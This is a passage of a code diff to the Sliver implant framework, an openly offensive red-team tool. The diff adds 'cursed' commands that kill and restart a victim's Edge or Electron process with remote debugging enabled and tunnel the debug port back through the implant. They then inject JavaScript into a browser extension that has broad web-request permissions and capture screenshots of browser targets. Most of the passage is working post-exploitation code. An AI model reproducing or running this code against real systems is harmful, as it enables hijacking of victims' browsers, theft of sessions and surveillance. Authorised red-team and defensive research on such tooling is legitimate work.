||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// CursedChromeCmd - Execute a .NET assembly in-memory
|
||||
func CursedEdgeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
payloadPath := ctx.Flags.String("payload")
|
||||
var payload []byte
|
||||
var err error
|
||||
if payloadPath != "" {
|
||||
payload, err = ioutil.ReadFile(payloadPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not read payload file: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
curse := avadaKedavraEdge(session, ctx, con)
|
||||
if curse == nil {
|
||||
return
|
||||
}
|
||||
if payloadPath == "" {
|
||||
con.PrintWarnf("No Cursed Edge payload was specified, skipping payload injection.\n")
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Searching for Edge extension with all permissions ... ")
|
||||
chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
// There is one alternative set of permissions that we can use if we don't find an extension
|
||||
// with all the proper permissions.
|
||||
if chromeExt == nil {
|
||||
chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
if chromeExt != nil {
|
||||
con.Printf("success!\n")
|
||||
con.PrintInfof("Found viable Edge extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
|
||||
con.PrintInfof("Injecting payload ... ")
|
||||
ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
|
||||
// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
|
||||
// defer cancel()
|
||||
_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.Printf("success!\n")
|
||||
} else {
|
||||
con.Printf("failure!\n")
|
||||
con.PrintInfof("No viable Edge extensions were found ☹️\n")
|
||||
}
|
||||
}
|
||||
|
||||
func avadaKedavraEdge(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
|
||||
edgeProcess, err := getEdgeProcess(session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if edgeProcess != nil {
|
||||
con.PrintWarnf("Found running Edge process: %d (ppid: %d)\n", edgeProcess.GetPid(), edgeProcess.GetPpid())
|
||||
con.PrintWarnf("Sliver will need to kill and restart the Edge process in order to perform code injection.\n")
|
||||
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
|
||||
con.Printf("\n")
|
||||
confirm := false
|
||||
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Edge process?"}, &confirm)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if !confirm {
|
||||
con.PrintErrorf("User cancel\n")
|
||||
return nil
|
||||
}
|
||||
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Pid: edgeProcess.GetPid(),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
|
||||
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
curse, err := startCursedChromeProcess(true, session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
return curse
|
||||
}
|
||||
|
||||
func isEdgeProcess(executable string) bool {
|
||||
var edgeProcessNames = []string{
|
||||
"msedge", // Linux
|
||||
"microsoft-edge", // Linux
|
||||
"msedge.exe", // Windows
|
||||
"Microsoft Edge", // Darwin
|
||||
}
|
||||
for _, suffix := range edgeProcessNames {
|
||||
if strings.HasSuffix(executable, suffix) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func getEdgeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
|
||||
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, process := range ps.Processes {
|
||||
if process.GetOwner() != session.GetUsername() {
|
||||
continue
|
||||
}
|
||||
if isEdgeProcess(process.GetExecutable()) {
|
||||
return process, nil
|
||||
}
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
@@ -0,0 +1,229 @@
|
||||
package cursed
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
insecureRand "math/rand"
|
||||
"path"
|
||||
"time"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/bishopfox/sliver/client/tcpproxy"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func CursedElectronCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
electronExe := ctx.Flags.String("exe")
|
||||
if electronExe == "" {
|
||||
con.PrintErrorf("Missing --exe flag, see --help\n")
|
||||
return
|
||||
}
|
||||
|
||||
curse := avadaKedavraElectron(electronExe, session, ctx, con)
|
||||
if curse == nil {
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Checking for debug targets ...")
|
||||
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
|
||||
con.Printf(console.Clearln + "\r")
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to query debug targets: %s\n", err)
|
||||
return
|
||||
}
|
||||
if len(targets) == 0 {
|
||||
con.PrintErrorf("Zero debug targets found\n")
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Found %d debug targets, good hunting!\n", len(targets))
|
||||
}
|
||||
|
||||
func avadaKedavraElectron(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
|
||||
exists, err := checkElectronPath(electronExe, session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
return nil
|
||||
}
|
||||
if !exists {
|
||||
con.PrintErrorf("Executable path does not exist: %s", electronExe)
|
||||
return nil
|
||||
}
|
||||
electronProcess, err := checkElectronProcess(electronExe, session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if electronProcess != nil {
|
||||
con.PrintWarnf("Found running '%s' process: %d (ppid: %d)\n", path.Base(electronExe), electronProcess.GetPid(), electronProcess.GetPpid())
|
||||
con.PrintWarnf("Sliver will need to kill and restart the process in order to perform code injection.\n")
|
||||
con.PrintWarnf("%sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
|
||||
con.Printf("\n")
|
||||
confirm := false
|
||||
err = survey.AskOne(&survey.Confirm{Message: "Kill and restart the process?"}, &confirm)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if !confirm {
|
||||
con.PrintErrorf("User cancel\n")
|
||||
return nil
|
||||
}
|
||||
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Pid: electronProcess.Pid,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
|
||||
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
curse, err := startCursedElectronProcess(electronExe, session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
return curse
|
||||
}
|
||||
|
||||
func checkElectronPath(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (bool, error) {
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: electronExe,
|
||||
})
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
return ls.GetExists(), nil
|
||||
}
|
||||
|
||||
func checkElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
|
||||
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, process := range ps.Processes {
|
||||
if process.GetOwner() != session.GetUsername() {
|
||||
continue
|
||||
}
|
||||
if process.GetExecutable() == electronExe || path.Base(process.GetExecutable()) == path.Base(electronExe) {
|
||||
return process, nil
|
||||
}
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func startCursedElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
|
||||
con.PrintInfof("Starting '%s' ... ", path.Base(electronExe))
|
||||
debugPort := uint16(ctx.Flags.Int("remote-debugging-port"))
|
||||
args := []string{
|
||||
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
|
||||
}
|
||||
|
||||
// Execute the Chrome process with the extra flags
|
||||
// TODO: PPID spoofing, etc.
|
||||
electronExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: electronExe,
|
||||
Args: args,
|
||||
Output: false,
|
||||
})
|
||||
if err != nil {
|
||||
con.Printf("failure!\n")
|
||||
return nil, err
|
||||
}
|
||||
con.Printf("(pid: %d) success!\n", electronExec.GetPid())
|
||||
|
||||
con.PrintInfof("Waiting for process to initialize ... ")
|
||||
time.Sleep(2 * time.Second)
|
||||
|
||||
bindPort := insecureRand.Intn(10000) + 40000
|
||||
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
|
||||
|
||||
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
|
||||
|
||||
tcpProxy := &tcpproxy.Proxy{}
|
||||
channelProxy := &core.ChannelProxy{
|
||||
Rpc: con.Rpc,
|
||||
Session: session,
|
||||
RemoteAddr: remoteAddr,
|
||||
BindAddr: bindAddr,
|
||||
KeepAlivePeriod: 60 * time.Second,
|
||||
DialTimeout: 30 * time.Second,
|
||||
}
|
||||
tcpProxy.AddRoute(bindAddr, channelProxy)
|
||||
portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
|
||||
|
||||
curse := &core.CursedProcess{
|
||||
SessionID: session.ID,
|
||||
PID: electronExec.GetPid(),
|
||||
PortFwd: portFwd,
|
||||
BindTCPPort: bindPort,
|
||||
Platform: session.GetOS(),
|
||||
ExePath: electronExe,
|
||||
}
|
||||
core.CursedProcesses.Store(bindPort, curse)
|
||||
go func() {
|
||||
err := tcpProxy.Run()
|
||||
if err != nil {
|
||||
log.Printf("Proxy error %s", err)
|
||||
}
|
||||
core.CursedProcesses.Delete(bindPort)
|
||||
}()
|
||||
|
||||
con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
|
||||
|
||||
return curse, nil
|
||||
}
|
||||
|
||||
func getElectronProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
|
||||
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, process := range ps.Processes {
|
||||
if process.GetOwner() != session.GetUsername() {
|
||||
continue
|
||||
}
|
||||
if isChromeProcess(process.GetExecutable()) {
|
||||
return process, nil
|
||||
}
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
@@ -0,0 +1,75 @@
|
||||
package cursed
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func CursedRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
kill := ctx.Flags.Bool("kill")
|
||||
bindPort := ctx.Args.Int("bind-port")
|
||||
core.CloseCursedProcessesByBindPort(session.ID, bindPort)
|
||||
if kill {
|
||||
confirm := false
|
||||
err := survey.AskOne(&survey.Confirm{Message: "Kill the cursed process?"}, &confirm)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
return
|
||||
}
|
||||
if !confirm {
|
||||
con.PrintErrorf("User cancel\n")
|
||||
return
|
||||
}
|
||||
// Get cursed process
|
||||
var cursedProc *core.CursedProcess
|
||||
curses := core.CursedProcessBySessionID(session.ID)
|
||||
for _, curse := range curses {
|
||||
if curse.BindTCPPort == bindPort {
|
||||
cursedProc = curse
|
||||
}
|
||||
}
|
||||
if cursedProc == nil {
|
||||
con.PrintErrorf("Failed to find cursed process\n")
|
||||
return
|
||||
}
|
||||
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Pid: int32(cursedProc.PID),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
|
||||
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
package cursed
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func CursedScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
curse := selectCursedProcess(con)
|
||||
if curse == nil {
|
||||
return
|
||||
}
|
||||
con.Println()
|
||||
con.PrintInfof("Querying debug targets ... ")
|
||||
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
|
||||
con.Printf(console.Clearln + "\r")
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to query debug targets: %s\n", err)
|
||||
return
|
||||
}
|
||||
target := selectDebugTarget(targets, con)
|
||||
if target == nil {
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Taking a screenshot of '%s' ... \n\n", target.Title)
|
||||
quality := ctx.Flags.Int64("quality")
|
||||
if quality < 1 || quality > 100 {
|
||||
con.PrintErrorf("Invalid quality value, must be between 1 and 100\n")
|
||||
return
|
||||
}
|
||||
data, err := overlord.Screenshot(curse, target.WebSocketDebuggerURL, target.ID, quality)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to take screenshot: %s\n", err)
|
||||
return
|
||||
}
|
||||
saveFile := ctx.Flags.String("save")
|
||||
if saveFile == "" {
|
||||
saveFile = fmt.Sprintf("screenshot-%s.png", time.Now().Format("20060102150405"))
|
||||
}
|
||||
err = ioutil.WriteFile(saveFile, data, 0644)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save screenshot: %s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Screenshot saved to %s\n", saveFile)
|
||||
}
|
||||
@@ -0,0 +1,109 @@
|
||||
package cursed
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"strconv"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// CursedChromeCmd - Execute a .NET assembly in-memory
|
||||
func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
cursedProcesses := [][]string{}
|
||||
core.CursedProcesses.Range(func(key, value interface{}) bool {
|
||||
curse := value.(*core.CursedProcess)
|
||||
cursedProcesses = append(cursedProcesses, []string{
|
||||
fmt.Sprintf("%d", curse.BindTCPPort),
|
||||
strings.Split(curse.SessionID, "-")[0],
|
||||
fmt.Sprintf("%d", curse.PID),
|
||||
curse.Platform,
|
||||
curse.ExePath,
|
||||
curse.DebugURL().String(),
|
||||
})
|
||||
return true
|
||||
})
|
||||
if 0 < len(cursedProcesses) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Bind Port", "Session ID", "PID", "Platform", "Executable", "Debug URL",
|
||||
})
|
||||
for _, rowEntries := range cursedProcesses {
|
||||
row := table.Row{}
|
||||
for _, entry := range rowEntries {
|
||||
row = append(row, entry)
|
||||
}
|
||||
tw.AppendRow(table.Row(row))
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
} else {
|
||||
con.PrintInfof("No cursed processes\n")
|
||||
}
|
||||
}
|
||||
|
||||
func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
|
||||
cursedProcesses := []*core.CursedProcess{}
|
||||
core.CursedProcesses.Range(func(key, value interface{}) bool {
|
||||
cursedProcesses = append(cursedProcesses, value.(*core.CursedProcess))
|
||||
return true
|
||||
})
|
||||
if len(cursedProcesses) < 1 {
|
||||
con.PrintErrorf("No cursed processes\n")
|
||||
return nil
|
||||
}
|
||||
|
||||
port2process := map[int]*core.CursedProcess{}
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
for _, cursedProcess := range cursedProcesses {
|
||||
fmt.Fprintf(table, "%d\t%s\t%s\n",
|
||||
cursedProcess.BindTCPPort,
|
||||
fmt.Sprintf("[Session %s]", strings.Split(cursedProcess.SessionID, "-")[0]),
|
||||
cursedProcess.ExePath)
|
||||
port2process[cursedProcess.BindTCPPort] = cursedProcess
|
||||
}
|
||||
table.Flush()
|
||||
options := strings.Split(outputBuf.String(), "\n")
|
||||
options = options[:len(options)-1] // Remove the last empty option
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a curse:",
|
||||
Options: options,
|
||||
}
|
||||
selected := ""
|
||||
err := survey.AskOne(prompt, &selected)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if selected == "" {
|
||||
return nil
|
||||
}
|
||||
selectedPortNumber, _ := strconv.Atoi(strings.Split(selected, " ")[0])
|
||||
return port2process[selectedPortNumber]
|
||||
}
|
||||
@@ -281,6 +281,10 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
if targetOS == "" || targetArch == "" {
|
||||
return nil
|
||||
}
|
||||
if configFormat == clientpb.OutputFormat_SHELLCODE && targetOS != "windows" {
|
||||
con.PrintErrorf("Shellcode format is currently only supported on Windows\n")
|
||||
return nil
|
||||
}
|
||||
if len(namedPipeC2) > 0 && targetOS != "windows" {
|
||||
con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
|
||||
return nil
|
||||
|
||||
@@ -103,6 +103,8 @@ var (
|
||||
consts.ReactionStr: reactionHelp,
|
||||
consts.ReactionStr + sep + consts.SetStr: reactionSetHelp,
|
||||
consts.ReactionStr + sep + consts.UnsetStr: reactionUnsetHelp,
|
||||
|
||||
consts.Cursed + sep + consts.CursedChrome: cursedChromeHelp,
|
||||
}
|
||||
|
||||
jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
|
||||
@@ -686,6 +688,19 @@ dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --reference-file /t
|
||||
|
||||
getPrivsHelp = `[[.Bold]]Command:[[.Normal]] getprivs
|
||||
[[.Bold]]About:[[.Normal]] Get privilege information for the current process (Windows only).
|
||||
`
|
||||
|
||||
cursedChromeHelp = `[[.Bold]]Command:[[.Normal]] cursed chrome
|
||||
[[.Bold]]About:[[.Normal]] Injects a Cursed Chrome payload into an existing Chrome extension.
|
||||
|
||||
If no extension is specified, Sliver will enumerate all installed extensions, extract their
|
||||
permissions and determine a valid target for injection. For Cursed Chrome to work properly
|
||||
the target extension must have either of these two sets of permissions:
|
||||
|
||||
1. "webRequest" "webRequestBlocking" "<all_urls>"
|
||||
2. "webRequest" "webRequestBlocking" "http://*/*" "https://*/*"
|
||||
|
||||
More information: https://github.com/mandatoryprogrammer/CursedChrome
|
||||
`
|
||||
)
|
||||
|
||||
|
||||
@@ -53,7 +53,7 @@ func PrintPortfwd(con *console.SliverConsoleClient) {
|
||||
"Remote Address",
|
||||
})
|
||||
for _, p := range portfwds {
|
||||
tw.AppendHeader(table.Row{
|
||||
tw.AppendRow(table.Row{
|
||||
p.ID,
|
||||
p.SessionID,
|
||||
p.BindAddr,
|
||||
|
||||
@@ -19,6 +19,7 @@ package reaction
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
@@ -29,9 +30,10 @@ import (
|
||||
|
||||
// ReactionSaveCmd - Manage reactions to events
|
||||
func ReactionSaveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if _, err := os.Stat(GetReactionFilePath()); !os.IsNotExist(err) {
|
||||
reactionPath := GetReactionFilePath()
|
||||
if _, err := os.Stat(reactionPath); !os.IsNotExist(err) {
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite reactions on disk?"}
|
||||
prompt := &survey.Confirm{Message: fmt.Sprintf("Overwrite reactions (%s) on disk?", reactionPath)}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
@@ -41,6 +43,6 @@ func ReactionSaveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
} else {
|
||||
con.PrintInfof("Saved reactions to disk\n")
|
||||
con.PrintInfof("Saved reactions to disk (%s)\n", reactionPath)
|
||||
}
|
||||
}
|
||||
@@ -216,6 +216,7 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
|
||||
activeSession := con.ActiveTarget.GetSession()
|
||||
core.GetTunnels().CloseForSession(session.ID)
|
||||
core.CloseCursedProcesses(session.ID)
|
||||
if activeSession != nil && activeSession.ID == session.ID {
|
||||
con.ActiveTarget.Set(nil, nil)
|
||||
con.PrintEventErrorf("Active session disconnected")
|
||||
|
||||
@@ -238,6 +238,12 @@ const (
|
||||
ConnectStr = "connect"
|
||||
|
||||
ShikataGaNai = "shikata-ga-nai"
|
||||
|
||||
Cursed = "cursed"
|
||||
CursedChrome = "chrome"
|
||||
CursedConsole = "console"
|
||||
CursedElectron = "electron"
|
||||
CursedEdge = "edge"
|
||||
)
|
||||
|
||||
// Groups
|
||||
|
||||
@@ -0,0 +1,92 @@
|
||||
package core
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/url"
|
||||
"sync"
|
||||
)
|
||||
|
||||
var (
|
||||
// SessionID -> CursedProcess
|
||||
CursedProcesses = &sync.Map{}
|
||||
)
|
||||
|
||||
type CursedProcess struct {
|
||||
SessionID string
|
||||
PID uint32
|
||||
BindTCPPort int
|
||||
PortFwd *Portfwd
|
||||
Platform string
|
||||
ExePath string
|
||||
ChromeUserDataDir string
|
||||
}
|
||||
|
||||
func (c *CursedProcess) DebugURL() *url.URL {
|
||||
return &url.URL{
|
||||
Scheme: "http",
|
||||
Host: fmt.Sprintf("localhost:%d", c.BindTCPPort),
|
||||
Path: "/json",
|
||||
}
|
||||
}
|
||||
|
||||
func CursedProcessBySessionID(sessionID string) []*CursedProcess {
|
||||
var cursedProcesses []*CursedProcess
|
||||
CursedProcesses.Range(func(key, value interface{}) bool {
|
||||
cursedProcess := value.(*CursedProcess)
|
||||
if cursedProcess.SessionID == sessionID {
|
||||
cursedProcesses = append(cursedProcesses, cursedProcess)
|
||||
}
|
||||
return true
|
||||
})
|
||||
return cursedProcesses
|
||||
}
|
||||
|
||||
func CloseCursedProcesses(sessionID string) {
|
||||
CursedProcesses.Range(func(key, value interface{}) bool {
|
||||
cursedProcess := value.(*CursedProcess)
|
||||
if cursedProcess.SessionID == sessionID {
|
||||
defer func() {
|
||||
value, loaded := CursedProcesses.LoadAndDelete(key)
|
||||
if loaded {
|
||||
curse := value.(*CursedProcess)
|
||||
Portfwds.Remove(curse.PortFwd.ID)
|
||||
}
|
||||
}()
|
||||
}
|
||||
return true
|
||||
})
|
||||
}
|
||||
|
||||
func CloseCursedProcessesByBindPort(sessionID string, bindPort int) {
|
||||
CursedProcesses.Range(func(key, value interface{}) bool {
|
||||
cursedProcess := value.(*CursedProcess)
|
||||
if cursedProcess.SessionID == sessionID && cursedProcess.BindTCPPort == bindPort {
|
||||
defer func() {
